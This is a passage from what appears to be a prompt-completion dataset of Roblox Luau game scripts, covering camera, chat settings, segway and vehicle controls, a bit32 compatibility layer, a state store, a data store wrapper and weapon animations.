CachedHumanoid\n\t\telse\n\t\t\tCachedHumanoid = nil\n\t\t\tfor _,child in pairs(character:GetChildren()) do\n\t\t\t\tif child:IsA('Humanoid') then\n\t\t\t\t\tCachedHumanoid = child\n\t\t\t\t\treturn CachedHumanoid\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "---[[ Chat Behaviour Settings ]]", "completion": "\nmodule.WindowDraggable = false\nmodule.WindowResizable = true\nmodule.ShowChannelsBar = false\nmodule.GamepadNavigationEnabled = false\nmodule.AllowMeCommand = false -- Me Command will only be effective when this set to true\nmodule.ShowUserOwnFilteredMessage = true\t--Show a user the filtered version of their message rather than the original."} +{"prompt": "--!strict", "completion": "\n\nlocal ContextActionService = game:GetService(\"ContextActionService\")\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal TweenService = game:GetService(\"TweenService\")\nlocal RunService = game:GetService(\"RunService\")\nlocal GuiService = game:GetService(\"GuiService\")\nlocal Players = game:GetService(\"Players\")\n\nlocal SpringService = require(script.SpringService)\n\nlocal UserGameSettings = UserSettings():GetService(\"UserGameSettings\")\n\nlocal LocalPlayer = Players.LocalPlayer\nif RunService:IsClient() then\n\twhile not LocalPlayer do\n\t\tPlayers.PlayerAdded:Wait()\n\t\tLocalPlayer = Players.LocalPlayer\n\tend\nend\nlocal Settings = UserSettings()\nlocal GameSettings = Settings.GameSettings\n\nlocal CAMERA_RENDERSTEP_NAME = \"ShoulderCameraUpdate\"\nlocal ZOOM_ACTION_NAME = \"ShoulderCameraZoom\"\nlocal CONTROLLABLE_HUMANOID_STATES = {\n\t[Enum.HumanoidStateType.Running] = true,\n\t[Enum.HumanoidStateType.RunningNoPhysics] = true,\n\t[Enum.HumanoidStateType.Freefall] = true,\n\t[Enum.HumanoidStateType.Jumping] = true,\n\t[Enum.HumanoidStateType.Swimming] = false,\n\t[Enum.HumanoidStateType.Landed] = true\n}\n\nlocal _instance = nil\n"} +{"prompt": "--\n-- Start Lua 5.2 \"bit32\" compat section.\n--", "completion": "\n\nM.bit32 = {} -- Lua 5.2 'bit32' compatibility\n\nM.bit32.bits = M.bits\n\nM.bit32.cast = M.cast\n\nlocal function bit32_bnot(x)\n return (-1 - x) % MOD\nend\nM.bit32.bnot = bit32_bnot\n\nlocal function bit32_bxor(a, b, c, ...)\n local z\n if b then\n a = a % MOD\n b = b % MOD\n z = bxor(a, b)\n if c then\n z = bit32_bxor(z, c, ...)\n end\n return z\n elseif a then\n return a % MOD\n else\n return 0\n end\nend\nM.bit32.bxor = bit32_bxor\n\nlocal function bit32_band(a, b, c, ...)\n local z\n if b then\n a = a % MOD\n b = b % MOD\n z = ((a+b) - bxor(a,b)) / 2\n if c then\n z = bit32_band(z, c, ...)\n end\n return z\n elseif a then\n return a % MOD\n else\n return MODM\n end\nend\nM.bit32.band = bit32_band\n\nlocal function bit32_bor(a, b, c, ...)\n local z\n if b then\n a = a % MOD\n b = b % MOD\n z = MODM - band(MODM - a, MODM - b)\n if c then\n z = bit32_bor(z, c, ...)\n end\n return z\n elseif a then\n return a % MOD\n else\n return 0\n end\nend\nM.bit32.bor = bit32_bor\n\nfunction M.bit32.btest(...)\n return bit32_band(...) ~= 0\nend\n\nfunction M.bit32.lrotate(x, disp)\n return lrotate(x % MOD, disp)\nend\n\nfunction M.bit32.rrotate(x, disp)\n return rrotate(x % MOD, disp)\nend\n\nfunction M.bit32.lshift(x,disp)\n if disp > 31 or disp < -31 then return 0 end\n return lshift(x % MOD, disp)\nend\n\nfunction M.bit32.rshift(x,disp)\n if disp > 31 or disp < -31 then return 0 end\n return rshift(x % MOD, disp)\nend\n\nfunction M.bit32.arshift(x,disp)\n x = x % MOD\n if disp >= 0 then\n if disp > 31 then\n return (x >= 0x80000000) and MODM or 0\n else\n local z = rshift(x, disp)\n if x >= 0x80000000 then z = z + lshift(2^disp-1, 32-disp) end\n return z\n end\n else\n return lshift(x, -disp)\n end\nend\n\nfunction M.bit32.extract(x, field, ...)\n local width = ... or 1\n if field < 0 or field > 31 or width < 0 or field+width > 32 then error 'out of range' end\n x = x % MOD\n return extract(x, field, ...)\nend\n\nfunction M.bit32.replace(x, v, field, ...)\n local width = ... or 1\n if field < 0 or field > 31 or width < 0 or field+width > 32 then error 'out of range' end\n x = x % MOD\n v = v % MOD\n return replace(x, v, field, ...)\nend\n\n"} +{"prompt": "-- Other", "completion": "\nlocal IsGettingOff = false\nlocal IsOnSegway = false\nlocal Vector3new, CFramenew, Mathrad, Mathpi, CFrameangles, Raynew = Vector3.new, CFrame.new, math.rad, math.pi, CFrame.Angles, Ray.new\n\n\nfunction Hopoff()\n\tif SegwayObject.Value ~= nil and IsGettingOff == false and SegwayObject.Value.PrimaryPart and SeaterObject.Value ~= nil then\n\t\tIsGettingOff = true\n\t\tIsOnSegway = false\n\t\tlocal PrimaryPart = SegwayObject.Value.PrimaryPart \n\t\tlocal px,py,pz,xx,yx,zx,xy,yy,zy,xz,yz,zz=PrimaryPart.CFrame:components()\n\t\t\n\t\tContextService:UnbindAction(\"segInputAction\")\n\t\t\t\n\t\t-- Delete welds\n\t\tif SeaterObject.Value ~= nil then\n\t\t\trepeat wait() until DeleteWelds:InvokeServer(SeaterObject.Value.Parent) == true or SeaterObject.Value == nil\n\t\tend\n\t\t\n\t\t-- Resets camera's behavior\n\t\tCamera.CameraType = \"Custom\"\n\t\t\n\t\t-- Set gyro to have power\n\t\tif Thruster.Value then\n\t\t\tThruster.Value.BodyGyro.MaxTorque = Vector3new(400000, 0, 400000)\n\t\tend\n\t\t\n\t\t-- Stops sounds\n\t\tif SeaterObject.Value and SeaterObject.Value.Parent:FindFirstChild(\"Run\") then\n\t\t\tStopSound:FireServer(SeaterObject.Value.Parent.Run,0)\n\t\t\tPlaySound:FireServer(SeaterObject.Value.Parent.Off,SeaterObject.Value.Parent.Off.Pitch,SeaterObject.Value.Parent.Off.Volume)\n\t\tend\n\t\t\n\t\t-- Flips segway if fell over\n\t\tif SegwayObject.Value then\n\t\t\tSegwayObject.Value:SetPrimaryPartCFrame(CFramenew(px,py+0.1,pz,1,yx,zx,xy,1,zy,xz,yz,1))\n\t\tend\t\n\t\t\n\t\t-- Turn off lights\n\t\tConfigLights:FireServer(0.3,\"Bright bluish green\",false,\"SmoothPlastic\",Lights,Notifiers)\n\t\t\n\t\t-- Re-parents mobile gui and reshows mobile controls\n\t\tGuiControls.Parent = script.Parent\n\t\tUserInputService.ModalEnabled = false\n\t\tOffButton.ImageColor3 = LiftedColor\n\t\t\n\t\t-- Shows tool UI via use with VR\n\t\tif UserInputService.VREnabled then\n\t\t\tif PlayerGui and PlayerGui:FindFirstChild(\"DisplayGui\") and PlayerGui:FindFirstChild(\"ColorGui\") then\n\t\t\t\tPlayerGui:FindFirstChild(\"DisplayGui\").Enabled = true\n\t\t\t\tPlayerGui:FindFirstChild(\"ColorGui\").Enabled = true\n\t\t\tend\n\t\t\t\n\t\t\tUpdateCharTrans(0,0)\n\t\tend\n\t\t\n\t\t-- Disconnect events\n\t\tSitListener:disconnect()\n\t\tJumpListener:disconnect()\n\t\t\n\t\t-- Resets the tilt motor angle\n\t\tif TiltMotor.Value then\n\t\t\tTiltMotor.Value.DesiredAngle = 0\n\t\tend\n\t\t\n\t\t-- Makes the thruster's velocity still\n\t\tPrimaryPart.Anchored = true\n\t\t\t\n\t\t-- Makes object values nil\n\t\tUndoTags:FireServer()\n\t\t\n\t\t-- Configures humanoid\n\t\tConfigHumanoid:InvokeServer(false,true,true)\n\t\t\n\t\t-- Unanchors segway\n\t\tPrimaryPart.Anchored = false\n\t\tPrimaryPart.Velocity = Vector3.new()\n\t\t\t\n\t\t-- Reset direction and steer tags\n\t\tDirection = 0\n\t\tSteer = 0\n\t\t\t\n\t\twait(1)\n\t\tUndoHasWelded:FireServer(SeaterObject)\n\t\t\n\t\tIsGettingOff = false\n\tend\nend\n\nfunction UpdateCharTrans(BodyTrans,SegwayTrans)\t\n\t-- Changes character's body while VR\n\tfor _,d in pairs(Character:GetDescendants()) do\n\t\tif d and d:IsA(\"BasePart\") then\n\t\t\tif (d.Parent:FindFirstChild(\"Humanoid\") or d.Parent:IsA(\"Accessory\")) then\n\t\t\t\td.LocalTransparencyModifier = BodyTrans\n\t\t\telse \n\t\t\t\td.LocalTransparencyModifier = SegwayTrans\n\t\t\tend\n\t\telseif d and d:IsA(\"Decal\") and d.Name == \"face\" then\n\t\t\td.Transparency = BodyTrans\n\t\tend\n\tend\nend\n\nfunction UpdateVRPos()\n\tif UserInputService.VREnabled and Character and Character.Parent and Character:FindFirstChild(\"Head\") then\n\t\tlocal hpx,hpy,hpz,hxx,hxy,hxz,hyx,hyy,hyz,hzx,hzy,hzz = Character.Head.CFrame:components()\n\t\t\n\t\tCamera.CFrame = CFramenew(hpx,hpy,hpz,\n\t\t\thxx,0,hxz,\n\t\t\t0,1,0,\n\t\t\thzx,0,hzz\n\t\t) + (Vector3new(hxy,hyy,hzy)*2.5) --Height in studs above character's head\n\tend\nend\n\nfunction Accelerate()\n\tif IsOnSegway then\n\t\tlocal v = Direction*Thruster.Value.CFrame.lookVector*MaxSpeed.Value\n\t\tlocal NewVelocity = Thruster.Value.Velocity:Lerp(v, 0.05) -- Thrust\n\t\tlocal NewRotVelocity = Vector3new(0,-Steer*TurnSpeed.Value/10,0) -- Steering\n\t\tlocal px,py,pz,xx,xy,xz,yx,yy,yz,zx,zy,zz = Thruster.Value.CFrame:components()\n\t\t\n\t\tif yy > 0.7 then -- If segway is upsided\n\t\t\tThruster.Value.BodyGyro.MaxTorque = Vector3new(400000, 0, 400000)\n\t\t\tThruster.Value.Velocity = NewVelocity\n\t\t\tThruster.Value.RotVelocity = NewRotVelocity\n\t\telse\n\t\t\tThruster.Value.BodyGyro.MaxTorque = Vector3new(0,0,0)\n\t\tend\n\t\t\t\n\tend\nend\n\nfunction CastToGround()\n\tif Thruster.Value and Thruster.Value.Parent then\n\t\t\n\t\t-- Raycast to face segway towards ground\n\t\tlocal px,py,pz,xx,xy,xz,yx,yy,yz,zx,zy,zz = Thruster.Value.CFrame:components()\n\t\tlocal SegDnVect = -Vector3new(xy,yy,zy)\n\t\tlocal Ray = Raynew(Thruster.Value.CFrame.p, SegDnVect*50)\n\t\tlocal hit, position, normal = workspace:FindPartOnRayWithIgnoreList(Ray,{SegwayObject.Value,RayTest})\n\t\tlocal HitDepth = (Thruster.Value.Position-position).magnitude\n\t\tlocal NextRayAngle = (normal-SegDnVect).magnitude\n\t\t\n\t\tif hit and hit.CanCollide and NextRayAngle > 1.7 then\n\t\t\tThruster.Value.BodyGyro.MaxTorque = Vector3new(400000, 0, 400000)\n\t\t\tThruster.Value.BodyGyro.CFrame = CFramenew(position, position + normal) * CFrameangles(-Mathpi/2, 0, 0)\n\t\tend\n\tend\nend\n\nfunction Sound()\n\tif Thruster.Value and 0.85+Mathrad(Thruster.Value.Velocity.Magnitude/1.8) <= RunSoundPitchLimit then\n\t\tSeaterObject.Value.Parent.Run.Pitch = 0.85+Mathrad(Thruster.Value.Velocity.Magnitude/1.8)\n\tend\nend\n\nfunction Tilt()\n\tif Direction ~= 0 then\n\t\tTiltMotor.Value.DesiredAngle = Direction/10\n\t\tSeaterObject.Value.Parent.Run.Volume = RunSoundVol\n\t\t\n\telse \n\t\tTiltMotor.Value.DesiredAngle = 0\n\t\t\n\t\t-- Change sound based on current status\n\t\tif Steer == 0 then\n\t\t\tSeaterObject.Value.Parent.Run.Volume = 0\n\t\telse --Adjusts the run sound when still and just turning\n\t\t\tSeaterObject.Value.Parent.Run.Volume = RunSoundVol\n\t\t\tSeaterObject.Value.Parent.Run.Pitch = 0.85+Mathrad(Thruster.Value.RotVelocity.Magnitude/1.8)\t\t\t\t\n\t\tend\n\t\t\n\tend\nend\n\nfunction SetGuiButtons()\n\t--Exit button\n\tOffButton.MouseButton1Down:connect(function() OffButton.ImageColor3 = PressedColor end)\n\tOffButton.MouseButton1Up:connect(function() OffButton.ImageColor3 = LiftedColor Hopoff()end)\n\tOffButton.MouseLeave:connect(function()OffButton.ImageColor3 = LiftedColor end)\n\t\n\t--Left button pressed/lifted\n\tLeftButton.MouseButton1Down:connect(function()Steer = -1 LeftButton.ImageColor3 = PressedColor end)\n\tLeftButton.MouseButton1Up:connect(function()Steer = 0 LeftButton.ImageColor3 = LiftedColor end)\n\tLeftButton.MouseLeave:connect(function()LeftButton.ImageColor3 = LiftedColor end)\n\t\n\t--Right button pressed/lifted\n\tRightButton.MouseButton1Down:connect(function()Steer = 1 RightButton.ImageColor3 = PressedColor end)\n\tRightButton.MouseButton1Up:connect(function()Steer = 0 RightButton.ImageColor3 = LiftedColor end)\n\tRightButton.MouseLeave:connect(function()RightButton.ImageColor3 = LiftedColor end)\n\t\n\t--Backward button pressed/lifted\n\tDownButton.MouseButton1Down:connect(function()Direction = -1 DownButton.ImageColor3 = PressedColor end)\n\tDownButton.MouseButton1Up:connect(function()Direction = 0 DownButton.ImageColor3 = LiftedColor end)\n\tDownButton.MouseLeave:connect(function()DownButton.ImageColor3 = LiftedColor end)\n\t\n\t--Forward button pressed/lifted\n\tUpButton.MouseButton1Down:connect(function()Direction = 1 UpButton.ImageColor3 = PressedColor end)\n\tUpButton.MouseButton1Up:connect(function()Direction = 0 UpButton.ImageColor3 = LiftedColor end)\n\tUpButton.MouseLeave:connect(function()UpButton.ImageColor3 = LiftedColor end)\nend\n\nfunction onGENInput(actionName,inputState,inputObj)\n\tif WeldObject.Value ~= nil then\n\t\tlocal Key=inputObj.KeyCode\n\t\t\n\t\t-- Hop off segway if press Spacebar, Backspace or controller A button\n\t\tif (Key == Enum.KeyCode.Space or Key == Enum.KeyCode.Backspace or Key == Enum.KeyCode.ButtonA) and inputState == Enum.UserInputState.Begin then\t\n\t\t\tHopoff()\n\t\tend\n\t\t\n\t\t--Forward\n\t\tif Key == Enum.KeyCode.W or Key == Enum.KeyCode.Up or Key == Enum.KeyCode.ButtonR2 then\n\t\t\tDirection = (inputState == Enum.UserInputState.Begin and 1) or (Direction == 1 and 0) or Direction\n\t\tend\n\t\t\n\t\t--Backward\n\t\tif Key == Enum.KeyCode.S or Key == Enum.KeyCode.Down or Key == Enum.KeyCode.ButtonL2 then\n\t\t\tDirection = (inputState == Enum.UserInputState.Begin and -1) or (Direction == -1 and 0) or Direction\n\t\tend\n\t\t\n\t\t--Left\n\t\tif Key == Enum.KeyCode.D or Key == Enum.KeyCode.Right then\n\t\t\tSteer = (inputState == Enum.UserInputState.Begin and 1) or (Steer == 1 and 0) or Steer\n\t\tend\n\t\t\n\t\t--Right\n\t\tif Key == Enum.KeyCode.A or Key == Enum.KeyCode.Left then\n\t\t\tSteer = (inputState == Enum.UserInputState.Begin and -1) or (Steer == -1 and 0) or Steer\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Semi\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 4.60\t\t --\t[TRANSMISSION CALCULATIONS FOR NERDS]\n\tTune.Ratios\t\t\t= {\t\t\t --\t\tSPEED [SPS]\t = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)\n\t\t--[[Reverse]]\t3.484\t\t,--\t\tWHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier\n\t\t--[[Neutral]]\t0\t\t\t,\n\t\t--[[ 1 ]]\t\t3.587 \t,\n\t\t--[[ 2 ]]\t\t2.022\t\t,\n\t\t--[[ 3 ]]\t\t1.384\t\t,\n\t\t--[[ 4 ]]\t\t1.000\t\t,\n\t\t--[[ 5 ]]\t\t0.861\t\t,\n\t\t--[[ 6 ]]\t\t0.621\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.7\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "--ignore table stuff", "completion": "\n\nworkspace.DescendantAdded:Connect(function(WHAT)\n\tif WHAT:IsA(\"Accessory\") or WHAT:IsA(\"Hat\") or WHAT.Name == \"HumanoidRootPart\" then\n\t\t--print(\"added \"..WHAT.Name)\n\t\ttable.insert(rayignore, WHAT)\n\telseif WHAT:IsA(\"BasePart\") and not WHAT.CanCollide then\n\t\t--print(\"found nocollide\")\n\t\ttable.insert(rayignore, WHAT)\n\tend\nend)\nworkspace.DescendantRemoving:Connect(function(WHAT)\n\tlocal findthing = table.find(rayignore, WHAT)\n\tif findthing then\n\t\t--print(\"removed \"..WHAT.Name)\n\t\ttable.remove(rayignore, findthing)\n\tend\nend)\n\nfor i,v in pairs(workspace:GetDescendants()) do\n\tif v:IsA(\"Accessory\") or v:IsA(\"Hat\") or v.Name == \"HumanoidRootPart\" then\n\t\t--print(\"added \"..v.Name..\" on start\")\n\t\ttable.insert(rayignore, v)\n\telseif v:IsA(\"BasePart\") and not v.CanCollide then\n\t\t--print(\"found nocollide on start\")\n\t\ttable.insert(rayignore, v)\n\tend\nend\n"} +{"prompt": "--[[\n\tDispatch an action to the store. This allows the store's reducer to mutate\n\tthe state of the application by creating a new copy of the state.\n\n\tListeners on the changed event of the store are notified when the state\n\tchanges, but not necessarily on every Dispatch.\n]]", "completion": "\nfunction Store:dispatch(action)\n\tif typeof(action) ~= \"table\" then\n\t\terror((\"Actions must be tables. \" ..\n\t\t\t\"Use custom middleware for %q actions.\"):format(typeof(action)),\n\t\t\t2\n\t\t)\n\tend\n\n\tif action.type == nil then\n\t\terror(\"Actions may not have an undefined 'type' property. \" ..\n\t\t\t\"Have you misspelled a constant? \\n\" ..\n\t\t\ttostring(action), 2)\n\tend\n\n\tif self._isDispatching then\n\t\terror(\"Reducers may not dispatch actions.\")\n\tend\n\n\tlocal ok, result = pcall(function()\n\t\tself._isDispatching = true\n\t\tself._state = self._reducer(self._state, action)\n\t\tself._mutatedSinceFlush = true\n\tend)\n\n\tself._isDispatching = false\n\n\tif not ok then\n\t\tself._errorReporter.reportReducerError(\n\t\t\tself._state,\n\t\t\taction,\n\t\t\t{\n\t\t\t\tmessage = \"Caught error in reducer\",\n\t\t\t\tthrownValue = result,\n\t\t\t}\n\t\t)\n\tend\n\n\tif #self._actionLog == ACTION_LOG_LENGTH then\n\t\ttable.remove(self._actionLog, 1)\n\tend\n\ttable.insert(self._actionLog, action)\nend\n"} +{"prompt": "--Internal functions", "completion": "\nfunction DataStore:Debug(...)\n\tif self.debug then\n\t\tprint(...)\n\tend\nend\n\nfunction DataStore:_GetRaw()\n\tif not self.getQueue then\n\t\tself.getQueue = Instance.new(\"BindableEvent\")\n\tend\n\n\tif self.getting then\n\t\tself:Debug(\"A _GetRaw is already in motion, just wait until it's done\")\n\t\tself.getQueue.Event:wait()\n\t\tself:Debug(\"Aaand we're back\")\n\t\treturn\n\tend\n\n\tself.getting = true\n\n\tlocal success, value = self.savingMethod:Get()\n\n\tself.getting = false\n\tif not success then\n\t\terror(tostring(value))\n\tend\n\n\tself.value = value\n\n\tself:Debug(\"value received\")\n\tself.getQueue:Fire()\n\n\tself.haveValue = true\nend\n\nfunction DataStore:_Update(dontCallOnUpdate)\n\tif not dontCallOnUpdate then\n\t\tfor _,callback in pairs(self.callbacks) do\n\t\t\tcallback(self.value, self)\n\t\tend\n\tend\n\n\tself.haveValue = true\n\tself.valueUpdated = true\nend\n"} +{"prompt": "--//Client Animations", "completion": "\n\t\tIdleAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)\t\n\t\tend;\n\t\t\n\t\tStanceDown = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tStanceUp = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\t\t\n\t\tPatrol = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tSprintAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tEquipAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.1)\n\t\t\tobjs[5].Handle:WaitForChild(\"AimUp\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()\n\t\t\twait(0.5)\n\t\tend;\n\n\t\tZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tUnZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tChamberAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0, 0.3, -1) * CFrame.Angles(math.rad(-95), math.rad(0), math.rad(-60))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.3,-0.5,-0.7) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()\n\t\t\twait(.35)--0.35\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlidePull\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0, 0.4, -1) * CFrame.Angles(math.rad(-95), math.rad(0), math.rad(-60))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-.6,-0.6) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(.3)--0.3\n\t\t\tts:Create(objs[2],TweenInfo.new(0.2),{C1 = CFrame.new(0, 0.3, -1) * CFrame.Angles(math.rad(-95), math.rad(0), math.rad(-60))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-1,-0.8) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(.2)--0.2\n\t\tend;\n\n\t\tChamberBKAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0, 0.3, -1) * CFrame.Angles(math.rad(-95), math.rad(0), math.rad(-60))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.3,-0.5,-0.7) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()\n\t\t\twait(.35)--0.35\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlidePull\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0, 0.4, -1) * CFrame.Angles(math.rad(-95), math.rad(0), math.rad(-60))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-.6,-0.6) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(.3)--0.3\n\t\t\tts:Create(objs[2],TweenInfo.new(0.2),{C1 = CFrame.new(0, 0.3, -1) * CFrame.Angles(math.rad(-95), math.rad(0), math.rad(-60))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-1,-0.8) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * 